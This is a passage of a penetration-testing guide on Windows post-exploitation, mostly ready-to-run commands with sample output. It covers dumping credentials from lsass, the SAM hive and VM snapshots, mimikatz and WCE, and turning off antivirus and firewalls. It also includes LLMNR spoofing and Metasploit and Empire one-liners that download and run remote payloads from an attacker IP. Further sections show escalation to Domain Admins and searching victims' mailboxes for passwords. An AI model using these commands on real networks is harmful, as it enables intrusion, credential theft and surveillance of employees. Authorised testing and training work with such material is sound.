# Post Exploitation¶

From the previous post, we learned how to have authenticated remote shell in windows, in this post, we will have a look around of how to Gather-Windows-Credentials after getting a remote shell. We would also have a look how to have a High Impact Exploitation which leaves an impact to the higher management for the organization. In Appendix-I : Windows Credentials, We have explained the concepts about authentication, credentials and authenticators, credential storage, authentication protocols, logon types. In Appendix-II Cracking Hashes, we talk about cracking windows active directory LM:NT hashes. In Appendix-III Interesting Stories contains blog links which might be helpful doing post-exploitation.

## Situational awarness¶

The way we will retrieve info about the coputer we hacked and the network we are in depends on what exploit we used to get in. There are plenty of ways to do so, I will explain the most common used ones.

We could have used a basic netcat shell. In that case we have two options, use system builtin utilities, or use post/multi/manage/shell_to_meterpreter.

Note

For builtin, report the the basics knowledge of the system targeted.

Tip

Sysinternals from live.sysinternals.com are Microsoft signed if not already installed !

### RedTeam Field manual¶

If you are like me, you cannot remember everything. An handy tool that may help you is having this book RedTeamFieldManual and the RTFM.py tool.

It is available at : https://github.com/leostat/rtfm

rtfm.py -u


Usage :

 $python rtfm.py -h Usage: rtfm.py [OPTIONS] For when you just cant remember the syntax, you should just RTFM Options: --version show program's version number and exit -h, --help show this help message and exit --delete=DELETE Delete specified ID -e SA, --everything=SA Look through all of RTFM -t TAG, --tag=TAG Specify one or more tags to look for (a, b, c) -c CMD, --cmd=CMD Specify a command to search (ls) -R REMARK, --remark=REMARK Search the comments field -r REFER, --reference=REFER Search for the reference [reference] -a AUTHOR, --author=AUTHOR Search for author -A DATE, --added-on=DATE Search by date, useful for when you want to commit back! -p PRINTER, --print=PRINTER Print Types : P(retty) p(astable) w(iki) h(tml) d(ump) -i INSERT, --insert=INSERT Insert c(ommand) | t(ags) | r(eferances) | E(verything) -D DUMP, --dump=DUMP Just Dump information about t(ags)|c(commands)|r(eferances)a(ll) -d, --debug Display verbose processing details (default: False) -u, --update Check for updates (default: false) -v Shows the current version number and the current DB hash and exits Example: rtfm.py -c rtfm -t linux -R help -r git -pP -d  Example : $ python rtfm.py -e RDP
++++++++++++++++++++++++++++++
Command ID : 160
Command    : net localgroup "Remote Desktop Users" [user] /add /domain

Comment    : Add user to the RDP group
Tags       : user information,Windows,privilege escalation
References
__________
https://technet.microsoft.com/en-us/library/bb490949.aspx
https://technet.microsoft.com/en-us/library/cc754051(v=ws.11).aspx
++++++++++++++++++++++++++++++

++++++++++++++++++++++++++++++
Command ID : 271
Command    : rdpy-rdpscreenshot.py 1.1.1.1

Comment    : Take a screenshot of a RDP server (provided by rdpy)
Tags       : linux,scanning,recon
References
__________
https://github.com/citronneur/rdpy
++++++++++++++++++++++++++++++

..sip...


### Meterpreter¶

If we were lucky enough to get a meterpreter shell, we can just launch the meterpreter commands. For more precise Info take a lok at the dedicated part to Metasploit.

#### Process Commands¶

• getpid : Displays the process ID that Meterpreter is running inside.
• getuid : Displays the user ID that Meterpreter is running with.
• ps : Displays process list.
• kill : Terminates a process given its process ID.
• execute : Run a given program with the privilieges of the process the Meterpreter is loaded in.
• migrate : Jumps to a given destination process ID. * Target must have same or lower privileges. * Target process must be a more stable one. * When inside a process, can access any files that process has access.

#### Network Commands¶

• ipconfig : Shows network interface information.
• portfwd : Forwards packets through TCP session.
• route : Manage/View the system’s routing table.

#### Misc commands¶

• idletime : Displays the duration time that the GUI of the target machine has been idle.
• uictl [enable/disable][keyboard/mouse] : Enable/disable either the mouse or the keyboard of the target machine.

• use [moduleName] : loads the specified module. * Like priv hashdump timestomp

### Enumerating without Scanning¶

#### In DomainJoined computer¶

Make usage of Service Principal Names (SPN). It is a feature, and builtin in any windows computer.

 $setspn Paramètre absent : nomdecompte. Syntaxe : setspn [modificateurs commutateurs] [nomcompte] où « nomcompte » peut être le nom ou domaine\nom de l'ordinateur ou du compte utilisateur cible Commutateurs du mode édition : -R = réinitialise le nom SPN de HOST Syntaxe : setspn -R nomcompte -S = ajoute un SPN arbitraire après avoir vérifié qu'il n'existe aucun doublon Syntaxe : setspn -S SPN nomcompte -D = supprime le SPN arbitraire Syntaxe : setspn -D SPN nomcompte -L = répertorie les SPN inscrits sur le compte cible Syntaxe : setspn [-L] nomcompte Modificateurs en mode édition : -C = spécifie que le nom de compte est un nom de compte d'ordinateur -U = spécifie que le nom de compte est un compte d'utilisateur Remarque : -C et -U sont exclusifs. Si aucun modificateur n'est spécifié, l'outil interprète le nom de compte comme nom d'ordinateur si un tel ordinateur existe, et un nom d'utilisateur dans le cas contraire.  Common usage setspn -T [DOMAIN] -F -Q */*  ### PowerSploit¶ https://github.com/PowerShellMafia/PowerSploit PowerView is builtin in Empire and we can run it in meterpreter with the help of the right module “search Interactive_Powershel”. :: Get-Command -Module PowerSploit Get-Help Invoke-Netview -full Example C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mYPUO4’); Invoke-NetView -Ping | Out-File -Encoding ascii netview.txt“  ## Disabling AntiVirus/Firewall¶ There are different ways on doing it. You should search for your specific platform and software. Common Ones. netsh advfirewall set allprofiles state off net stop "avast! Antivirus" PS C:\> Set-MpPreference -DisableRealtimeMonitoring$true
sc stop WinDefend


Or for older ones

netsh firewall set opmode disable


On CentOS

Must be root

# /etc/init.d/iptables save
# /etc/init.d/iptables stop


For on boot

# chkconfig iptables on


Debian based

iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT


You could want to save it first to put back the normal config when you’re done :

sudo iptables-save > /root/firewall.rules


## Gather Windows Credentials¶

Once we have administrative remote shell, our next task is to gather all the passwords from Security Accounts Manager (SAM) database, Local Security Authority Subsystem (LSASS) process memory. Domain Active Directory Database (domain controllers only), Credential Manager (CredMan) store or LSA Secrets in the registry and get all the passwords (clear-text or hashed). A lot of stuff has already been mentioned at Obtaining Windows Passwords and Dumping Windows Credential and Bernardo Blog Dump Windows password hashes efficiently Part1 , Part2, Part3, Part4, Part5 and Part6.

We have tried to combine all the methods in one post. (A lot of stuff has also been not mentioned such fgdump, pwdump etc.). For all methods, check Credential Dumping on ATT&CK.

So, back to credential dumping after getting a remote shell, there are multiple methods to do the following:

• Execute responder or/and Inveigh
• Get metasploit meterpreter by using Web Delivery method and run mimikatz
• Get powershell empire agent by using powershell launcher string and run mimikatz
• Execute Windows Credential Editor (WCE)
• Dumping Local Security Authority Subsystem Service
• Dumping Registry Hives
• Dumping System/ Security/ SAM File
• Virtual Machine Snapshots and Suspended States - Vmss2core

Inveigh

Inveigh is a PowerShell LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool.

Install :

 IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh.ps1")


Or

Import-Module ./Inveigh.psd1


Tip

If a local firewall is enabled, ensure that the targets are able to communicate with the Inveigh host on the relevant ports. If you copy/paste challenge/response captures from the console window for password cracking, ensure that carriage returns are removed.

Commands :

Enable real time console output

Invoke-Inveigh -ConsoleOutput Y


Enable inspection only and real time console output

Invoke-Inveigh -Inspect -ConsoleOutput Y


Enable real time file output at startup

Invoke-Inveigh -FileOutput Y


Enable the NBNS and mDNS spoofers

Invoke-Inveigh -NBNS Y -mDNS Y


Enable HTTPS with customized certificate settings

Invoke-Inveigh -HTTPS Y -HTTPSCertIssuer PowerShell -HTTPSCertSubject www


Enable proxy authentication captures

Invoke-Inveigh -Proxy Y


Stop running Inveigh modules

Stop-Inveigh


Get all queued console output

Get-Inveigh


Get all captured NTLMv2 challenge/response hashes

Get-Inveigh -NTLMv2


Before performing LLMNR/mDNS/NBNS spoofing, start Inveigh in inspection only mode to gather information about the relevant systems and traffic on the subnet. This information can be used to later target specific systems or spoof specific hostnames in order to avoid impacting unnecessary systems. Conversely, this information can be used to filter out dangerous hostnames to spoof and systems that may be running spoofer detection services.

Invoke-Inveigh -ConsoleOutput Y -Inspect


For targeted and more stealthy attack we should use those parameters :

• SpooferHostsIgnore
• SpooferIPsIgnore
• SpooferRepeat
• SpooferLearning
• SpooferLearningDelay
• SpooferLearningInterval
• HTTPAuth
• ProxyAuth
• ProxyIgnore

Example

Invoke-Inveigh -ConsoleOutput Y -SpooferHostReply wpad -SpooferIPsReply 192.168.1.100


Note

For In Depth learnig always ahve a look at all the docs. For Inveigh : https://github.com/Kevin-Robertson/Inveigh/wiki

Responder.py

First of all, please take a look at Responder.conf and tweak it for your needs.

./Responder.py -h
--version             show program's version number and exit
-h, --help            show this help message and exit
-A, --analyze         Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use
-b, --basic           Return a Basic HTTP authentication. Default: NTLM
-r, --wredir          Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: False
-d, --NBTNSdomain     Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break stuff
on the network. Default: False
-f, --fingerprint     This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
retrieval. This may cause a login prompt. Default:
False
--lm                  Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
-v, --verbose         Increase verbosity.


Typical usage :

./Responder.py -I eth0 -wrf


## Scaning the network¶

If we don’t have a compromised system yet, but we did gain credentials through Responder, misconfigured web app, bruteforcing, or a printer, then we can try to sweep the network to see where this account can log in. A simple sweep using a tool

like CrackMapExec (cme) can assist in finding that initial point of entry on the internal network.

Historically, we have used CME to scan the network, identify/authenticate via SMB on the network, execute commands remotely to many hosts, and even pull clear text creds via Mimikatz. With newer features in both Empire and CME, we can take advantage of Empire’s REST feature. In the following scenario, we are going to spin up Empire with its REST API, configure the password in CME, have CME connect to Empire, scan the network with the single credential we have, and finally, if we do authenticate, automatically push an Empire payload to the remote victim’s system. If you have a helpdesk or privileged account, get ready for a load of Empire shells!

Start Empire’s REST API server

 cd /opt/Empire

::

gedit /root/.cme/cme.conf

Run CME to spawn Empire shells

::

cme smb 10.100.100.0/24 -d 'cyberspacekittens.local' -u '<username>' -p


Metasploit Web Delivery : Metasploit’s Web Delivery Script is a versatile module that creates a server on the attacking machine which hosts a payload. When the victim connects to the attacking server, the payload will be executed on the victim machine. This module has a powershell method which generates a string which is needed to be executed on remote windows machine.

msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > show targets

Exploit targets:

Id  Name
--  ----
0   Python
1   PHP
2   PSH

msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/x64/meterpreter/reverse_https
msf exploit(web_delivery) > set lhost 14.97.131.138
lhost => 14.97.131.138
msf exploit(web_delivery) > run
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://14.97.131.138:8443
msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/uMOKs6wtlYL
[*] Local IP: http://14.97.131.138:8080/uMOKs6wtlYL
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $X=new-object net.webclient;$X.proxy=[Net.WebRequest]::GetSystemWebProxy();$X.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX$X.downloadstring('http://14.97.131.138:8080/uMOKs6wtlYL');


When the following command (when there is no proxy)

powershell.exe -nop -w hidden -c $X=new-object net.webclient;IEX$X.downloadstring('http://14.97.131.138:8080/uMOKs6wtlYL');


or (when there is proxy)

powershell.exe -nop -w hidden -c $X=new-object net.webclient;$X.proxy=[Net.WebRequest]::GetSystemWebProxy();$X.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX$X.downloadstring('http://14.97.131.138:8080/uMOKs6wtlYL');


is executed on the windows remote machine, we should get a meterpreter.

Delivery web_delivery payload
meterprerter>


Once we have got the meterpreter, we can use mimikatz or kiwi to dump all the credentials.

Powershell Empire agent : Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework.

After creating a listener, we just need to create a launcher using stager:

(Empire: listeners) > usestager launcher
(Empire: stager/launcher) > set Listener test
(Empire: stager/launcher) > generate


When the above command is executed on the windows remote shell, we should be able to get a powershell agent

(Empire) > [+] Initial agent 2FTFYMKDFSSFS from 192.168.42.5 now active


Sometimes the above two will fail to work, in which case, we revert to the old techniques:

### Procdump¶

• First, upload the ProcDump.exe to the remote computer by using smb, windows explorer.
• Second, from the remote shell, execute
C:\Windows\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp     => For 32 bit system
C:\Windows\temp\procdump.exe -accepteula -ma -64 lsass.exe lsass.dmp => For 64 bit system


### Powershell Out-MiniDump¶

This method is similar to the procdump using powershell. Instead of procdump, we utilize powershell Out-MiniDump.ps1 from PowerSploit

• Launch PowerShell and dot source function from the Out-Minidump.ps1
. c:\path\to\Out-Minidump.ps1

• Create dump of the process using this syntax:
Get-Process lsass | Out-Minidump -DumpFilePath C:\Windows\Temp


Get a copy of the SYSTEM, SECURITY and SAM hives and download them back to your local system:

C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save


Get the password hashes of the local accounts, the cached domain credentials and the LSA secrets in a single run with Impacket secretsdump.py

$secretsdump.py -sam sam.save -security security.save -system system.save LOCAL Impacket v0.9.11-dev - Copyright 2002-2013 Core Security Technologies [*] Target system bootKey: 0x602e8c2947d56a95bf9cfxxxxxxxxxxx [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) admsys :500 :aad3b435b51404eeaad3b435b51404ee:3e24dcead23468ce597d68xxxxxxxxxx::: Guest :501 :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59dxxxxxxxxx::: support :1000:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b5xxxxxxxxx::: [*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain) adm2:6ec74661650377df488415415bf10321:system1.example.com:EXAMPLE::: Administrator:c4a850e0fee5af324a57fd2eeb8dbd24:system2.example.COM:EXAMPLE::: [*] Dumping LSA Secrets [*]$MACHINE.ACC
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9adxxxxxxxxxx  Windows Credentials Editor (WCE) is a security tool that allows to list Windows logon sessions and add, change, list and delete associated credentials (e.g.: LM/NT hashes, Kerberos tickets and cleartext passwords). The tool allows users to: • Perform Pass-the-Hash on Windows • ‘Steal’ NTLM credentials from memory (with and without code injection) • ‘Steal’ Kerberos Tickets from Windows machines • Use the ‘stolen’ kerberos Tickets on other Windows or Unix machines to gain access to systems and services • Dump cleartext passwords stored by Windows authentication packages Examples ### List NTLM credentials in memory¶ By default, WCE lists NTLM credentials in memory, no need to specify any options. C:\Users\test>wce.exe WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com) Use -h for help. theuser:amplialabs:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537  ### Create a new logon session¶ Create a new logon session and launch a program with new NTLM credentials? wce.exe -s <username>:<domain>:<lmhash>:<nthash> -c <program>  Example: C:\Users\test>wce.exe -s testuser:amplialabs:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 -c cmd.exe WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com) Use -h for help. Changing NTLM credentials of new logon session (000118914h) to: Username: testuser domain: amplialabs LMHash: 01FC5A6BE7BC6929AAD3B435B51404EE NTHash: 0CB6948805F797BF2A82807973B89537 NTLM credentials successfully changed!  At this point, a new cmd.exe instance will be launched and network connections using NTLM initiated from that instance will use the NTLM credentials specified. ### Write hashes obtained by WCE to a file?¶ C:\>wce -o output.txt WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com) Use -h for help. C:\>type output.txt test:AMPLIALABS:01020304050607080900010203040506:98971234567865019812734576890102  ### Dump logon cleartext passwords with WCE?¶ The -w switch can be used to dump logon passwords stored in cleartext by the Windows Digest Authentication package. For example: C:\>wce -w WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity com) Use -h for help. test\MYDOMAIN:mypass1234 NETWORK SERVICE\WORKGROUP:test  This video shows the use of the -w switch in a Windows 2008 Server ### Useful Information¶ • Cachedump obtains NTLM credentials from the Windows Credentials Cache (aka logon cache, logon information cache, etc). This cache can be disabled and it is very often disabled by network/domain/windows administrators (see here ). WCE will be able to steal credentials even when this cache is disabled. • WCE obtains NTLM credentials from memory, which are used by the system to perform SSO; it uses a series of techniques the author of WCE developed. • Pwdump dumps NTLM credentials from the local SAM. Let’s say, a administrator remote desktop to a server (compromised by attacker and can run wce). In this case, WCE would be able get the credential of Administrator ( who RDP’d ), However, pwdump will only allow you to obtain the NTLM credentials of the local SAM The above information has been taken from WCE FAQ During penetration assessment, we do find VMDK file (Virtual Machine Disk), we should be able to mound vmdk file either by using Windows Explorer, VMWare Workstation or OSFMount. After mounting, we should be able to copy System32/config/SYSTEM System32/config/SECURITY  Passwords from these file could be extracted by using creddump7 ### creddump7¶ Run cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds: # ./cachedump.py usage: ./cachedump.py <system hive> <security hive> <Vista/7> Example (Windows Vista/7): ./cachedump.py /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true Example (Windows XP): ./cachedump.py /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false # ./cachedump.py /mnt/win/Windows/System32/config/SYSTEM /mnt/win/Windows/System32/config/SECURITY true |tee hashes nharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local god:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local  If you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the ‘mscash2’ format: # john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt hashes Loaded 2 password hashes with 2 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 8x])
g0d              (god)
Welcome1!        (nharpsis)


The examples above are taken from creddump7 Readme

This method has been directly taken from the Fuzzy Security Blog I’ll Get Your Credentials … Later!

After compromising a target if we discover that the box hosts Virtual Machines. We can utilize vmss2core , we can use this tool to create a coredump of a Virtual Machine, If that machine has suspended (.vmss) or snapshot (.vmsn) checkpoint state files. These files can be parsed by the volatility framework to extract a hashdump.

Make sure to use the appropriate version of vmss2core, in this case I needed the 64-bit OSX version.

# We are working with a suspended state so we need to combine *.vmss and *.vmem. If we were
dealing with a snapshot we would need to combine *.vmsn and *.vmem.

Avalon:Tools b33f$./vmss2core_mac64 -W /Users/b33f/Documents/VMware/VMs/Win7-Testbed/Windows\ 7.vmwarevm/Windows\ 7-e7a44fca.vmss /Users/b33f/Documents/VMware/VMs/Win7-Testbed/Windows\ 7.vmwarevm/Windows\ 7-e7a44fca.vmem vmss2core version 3157536 Copyright (C) 1998-2013 VMware, Inc. All rights reserved. Win32: found DDB at PA 0x2930c28 Win32: MmPfnDatabase=0x82970700 Win32: PsLoadedModuleList=0x82950850 Win32: PsActiveProcessHead=0x82948f18 Win32: KiBugcheckData=0x82968a40 Win32: KernBase=0x82806000 Win32: NtBuildLab=0x82850fa8 Win: ntBuildLab=7601.17514.x86fre.win7sp1_rtm.101119-1850 # Win7 SP1 x86 CoreDumpScanWin32: MinorVersion set to 7601 ... 10 MBs written. ... 20 MBs written. ... 30 MBs written. ... 40 MBs written. ... 50 MBs written. [...Snip...] Finished writing core.  After transferring the coredump back out we can let volatility do it’s magic. We need to determine which OS the dump comes from for volatility to parse it correctly. # We can see that volatility is unable to accurately determine the OS profile, however from the vmss2core output above we can see that the correct profile is "Win7SP1x86". root@Josjikawa:~/Tools/volatility# ./vol.py imageinfo -f ../../Desktop/memory.dmp Determining profile based on KDBG search... Suggested Profile(s) : Win7SP0x86, Win7SP1x86 (Instantiated with WinXPSP2x86) AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : WindowsCrashDumpSpace32 (Unnamed AS) AS Layer3 : FileAddressSpace (/root/Desktop/memory.dmp) PAE type : PAE DTB : 0x185000L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2014-09-13 19:15:04 UTC+0000 Image local date and time : 2014-09-13 21:15:04 +0200  Using the “hivelist” plugin we can now get the memory offsets for the various registry hives. root@Josjikawa:~/Tools/volatility# ./vol.py hivelist -f ../../Desktop/memory.dmp --profile=Win7SP1x86 Volatility Foundation Volatility Framework 2.4 Virtual Physical Name ---------- ---------- ---- 0x988349c8 0x3945a9c8 \??\C:\Users\Fubar\AppData\Local\Microsoft\Windows\UsrClass.dat 0x87a0c008 0x27f9f008 [no name] 0x87a1c008 0x280ed008 \REGISTRY\MACHINE\SYSTEM # SYSTEM 0x87a3a6b0 0x27d4b6b0 \REGISTRY\MACHINE\HARDWARE 0x87abe5c0 0x2802a5c0 \SystemRoot\System32\Config\DEFAULT 0x880b5008 0x231b7008 \SystemRoot\System32\Config\SECURITY 0x88164518 0x231cc518 \SystemRoot\System32\Config\SAM # SAM 0x8bd019c8 0x24aec9c8 \Device\HarddiskVolume1\Boot\BCD 0x8bdd2008 0x24772008 \SystemRoot\System32\Config\SOFTWARE 0x8f5549c8 0x1f39e9c8 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT 0x90e83008 0x1f09f008 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT 0x955a9450 0x15468450 \??\C:\System Volume Information\Syscache.hve 0x988069c8 0x3aa329c8 \??\C:\Users\Fubar\ntuser.dat  All that remains now is to dump the hashes. To do this we need to pass volatility’s “hashdump” module the virtual memory offsets to the SYSTEM and SAM hives, which we have. root@Josjikawa:~/Tools/volatility# ./vol.py hashdump -f ../../Desktop/memory.dmp --profile=Win7SP1x86 sys-offset=0x87a1c008 sam-offset=0x88164518 Volatility Foundation Volatility Framework 2.4 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Fubar:1001:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca::: user1:1003:aad3b435b51404eeaad3b435b51404ee:7d65996108fccae892d38134a2310a4e:::  These Virtual Machine coredumps can be very large (1 GB+). If transferring them over the network is not an option you can always drop a copy of volatility on the target machine. Starting from version 2.4, volatility has binary packages for Windows, Linux and OSX. # Binary package on OSX 10.9.4 Avalon:Volatility-2.4 b33f$ ./volatility_2.4_x64 hashdump -f ../memory.dmp --profile=Win7SP1x86
sys-offset=0x87a1c008 sam-offset=0x88164518

Volatility Foundation Volatility Framework 2.4



mimikatz

https://github.com/gentilkiwi/mimikatz

To make it work on windows 10 we need to change one registry value :

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f


And then make the user logon again :

rundll32.exe user32.dll,LockWorkStation

##### Active Directory Built-In Groups Self-Elevation¶

Generally when we talk about elevation using Built-In groups, it is considered to be a Local administrator to a higher priviledge user.

As mentioned in a ADSecurity Blog there are a few built-in groups with the ability to logon to Domain Controllers by default:

• Enterprise Admins (member of the domain Administrators group in every domain in the forest)
• Backup Operators
• Server Operators
• Account Operators
• Print Operators (Currently has no obvious methods of elevating privileges)

During a penetration testing engagement, this is probably the least used but one of the most effective ways of compromising the domain administrator. This has been shared by Jason Filley in his blog Active Directory Built-In Groups Self-Elevation

If you have local administrator access to the domain controller, however do not have domain administrative access, the elevation is pretty simple. We need to only add the user we are utilizing into the domain admins group, utilizing a privileged command prompt and we are done.

net group "Domain Admins" %username% /DOMAIN /ADD


### Server Operators elevate to EA/DA/BA¶

Server Operators can modify the properties of certain services. The Computer Browser (“browser”) service is disabled by default and can easily be changed to run a command as System, which on DC’s has permissions to modify the built-in administrative groups.

C:\>sc sdshow browser

D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;CCLCSWRPWPDTLOCRRC;;;SY)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)


Here we see that Server Operators (“SO”) can write all properties (“WP”) for the browser service. Change the browser service properties to call “net group” instead.

C:>sc config browser binpath= “C:WindowsSystem32cmd.exe /c net group “Enterprise Admins” %username% /DOMAIN /ADD” type= “share” group= “” depend= “” [SC] ChangeServiceConfig SUCCESS

C:>sc start browser [SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

### Account Operators elevate to privileged group via nested group¶

Account Operators have no permissions to modify the EA/DA/BA groups. However, if someone has been reckless enough to nest a group in a privileged group, Account Operators can still modify the nested group (by default). Suppose someone added the “NestedGroup” group as a member of the BA group:

net group "NestedGroup" %username% /DOMAIN /ADD


Succeeds. The user is now a member of “NestedGroup” and by inclusion a member of BA.

### Member of Backup Operators elevate to Administrators¶

The sole purpose of the BO group is to back up and restore domain controllers (or any part thereof), so that’s what we’ll do.

Get the SID of the target user account:

C:\>dsquery user -name %username% | dsget user -sid
sid
S-1-5-21-2079967355-3169663337-3296943937-1111
dsget succeeded


As member of Backup Operators group, copy the Default Domain (or other applicable) GPO to a temporary location (e.g. your Desktop):

C:\Windows\SYSVOL\domain\Policies\{*}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf


=======
[Group Membership]
*S-1-5-32-544__Memberof =
*S-1-5-32-544__Members = <etc etc etc>,*S-1-5-21-2079967355-3169663337-3296943937-1111


Back the file up. Restore the file and redirect it to the real SYSVOL location, overwriting the existing GPO. Wait for GP refresh. Success.

## High Impact Exploitation¶

This section mainly focuses on the Post-exploitation which can be show to the higher management for impact or showing risk such as reading emails ( either by reading .pst files or having access to the exchange server ), having access to the File-servers holding confidential data, able to access employees laptop/ desktop ( watch them via webcam/ listen to the surroundings using microphones). The assumption is we have already compromised the domain administrator of the Windows Domain.

A Personal Folders file (.pst) is an Outlook data file that stores your messages and other items on your computer.

ReadPST / LibPST v0.6.59
Little Endian implementation being used.
OPTIONS:
-V      - Version. Display program version
-D      - Include deleted items in output
-M      - Write emails in the MH (rfc822) format
-S      - Separate. Write emails in the separate format
-e      - As with -M, but include extensions on output files
-h      - Help. This screen
-o <dirname>    - Output directory to write files to. CWD is changed *after* opening pst file
-q      - Quiet. Only print error messages
-r      - Recursive. Output in a recursive format
-t[eajc]        - Set the output type list. e = email, a = attachment, j = journal, c = contact
-w      - Overwrite any output mbox files


Only one of -M -S -e -k -m -r should be specified

Once readpst has converted the contents of the .pst file to plaintext documents, we can search through them using the built-in “findstr” command.

findstr /s /i /m “password” *.*

“/s” tells findstr to search through the current directory and subdirectories.
“/i” specifies that the search should be case insensitive.
“/m” tells findstr to output the file name rather than the file contents – if we output the contents, we may quickly be swamped with output that we’ll still have to sift through.  Depending on the amount of output, you may also quickly exceed cmd.exe’s limits.
*.*, of course, means that we’re searching through files of any name and any type.


The above has been taken from the Pillaging .pst Files

This is applicable in a Microsoft environment that uses Outlook but does not back up email to .pst files.

The assumption is that we have already compromised the Exchange Administrator account on the Exchange server. We’ll use two techniques to search through mailboxes of interest. The first is to give ourselves full access to the targeted user’s mailbox; the second is to use built-in management features to search through a mailbox of our choosing.

• Step 1: Add a Mailbox - Create a new mailbox by using web-based Exchange Admin Center (EAC). The “mailboxes” section allows us to add a new user mailbox. The user receiving the mailbox can come from the list of Active Directory users, or the Administrator can create a new user.
• Step 2: Mailbox Delegation - Once our new user’s mailbox is created, we can give ourselves full access to our target user mailbox. This can be done by using targeted user mailbox account options. Go to the account settings of targeted user mailbox, select the edit option, select “mailbox delegation,” and add our new user to the “Full Access” section. Once that’s complete, we can log in to our recently created mailbox with the username and password we set, then open another mailbox without being required to enter any credentials

However, when we interact with their mailbox, it’s as if they are doing it, so emails previously marked as unread will be marked as read after being opened.

### Search-Mailbox cmdlet¶

• If we have access to the exchange server and Exchange Management Tools are installed on a machine, they include the Exchange Management Shell, which is a version of Powershell with specific features for administering exchange. “Search-Mailbox,” allow us to make specific search queries on mailboxes of interest without manually giving ourselves full-access and logging in.
• However, Search-Mailbox belongs to administrators with the “Discovery Management” role. We have to add the compromised account to the members of this role by visiting EAC and going to “permissions,” “admin roles” and editing the “Discovery Management” to add the account we compromised.
• Search-Mailbox Syntax
Search-Mailbox -Identity “First Last” -SearchQuery “String” -TargetMailbox “DiscoveryMailbox” -TargetFolder “Folder” -LogLevel Full

Identity is the Active Directory username
SearchQuery is the string of text we’re looking for,
TargetMailbox is the mailbox where emails containing that string will be sent (hence the need to control a mailbox),
TargetFolder is the folder in that mailbox where they’ll go


Example:

Search-Mailbox -Identity “Targeted User” -SearchQuery “Password” -TargetMailbox “NewMailboxCreated” -TargetFolder “Inbox” -LogLevel Full


Now we simply pop back over to the mailbox of the user we created and inspect the newly arrived email(s):

The above has been taken from Pillage Exchange

We can get a list of file servers in the windows active directory by using Powersploit-Powerview-Get-NetFileServer funtion. Once we have the file server list, we can view the file server contents utilizing Windows explorer. We can also mount the file server using mount.cifs

mount.cifs //{ip address}/{dir} /mnt/mountdirectory --verbose -o "username=foo,password=bar,domain=domainname,ro"


Sean Metcalf has written a brilliant blog How Attackers Dump Active Directory Database Credentials

The above blog covers:

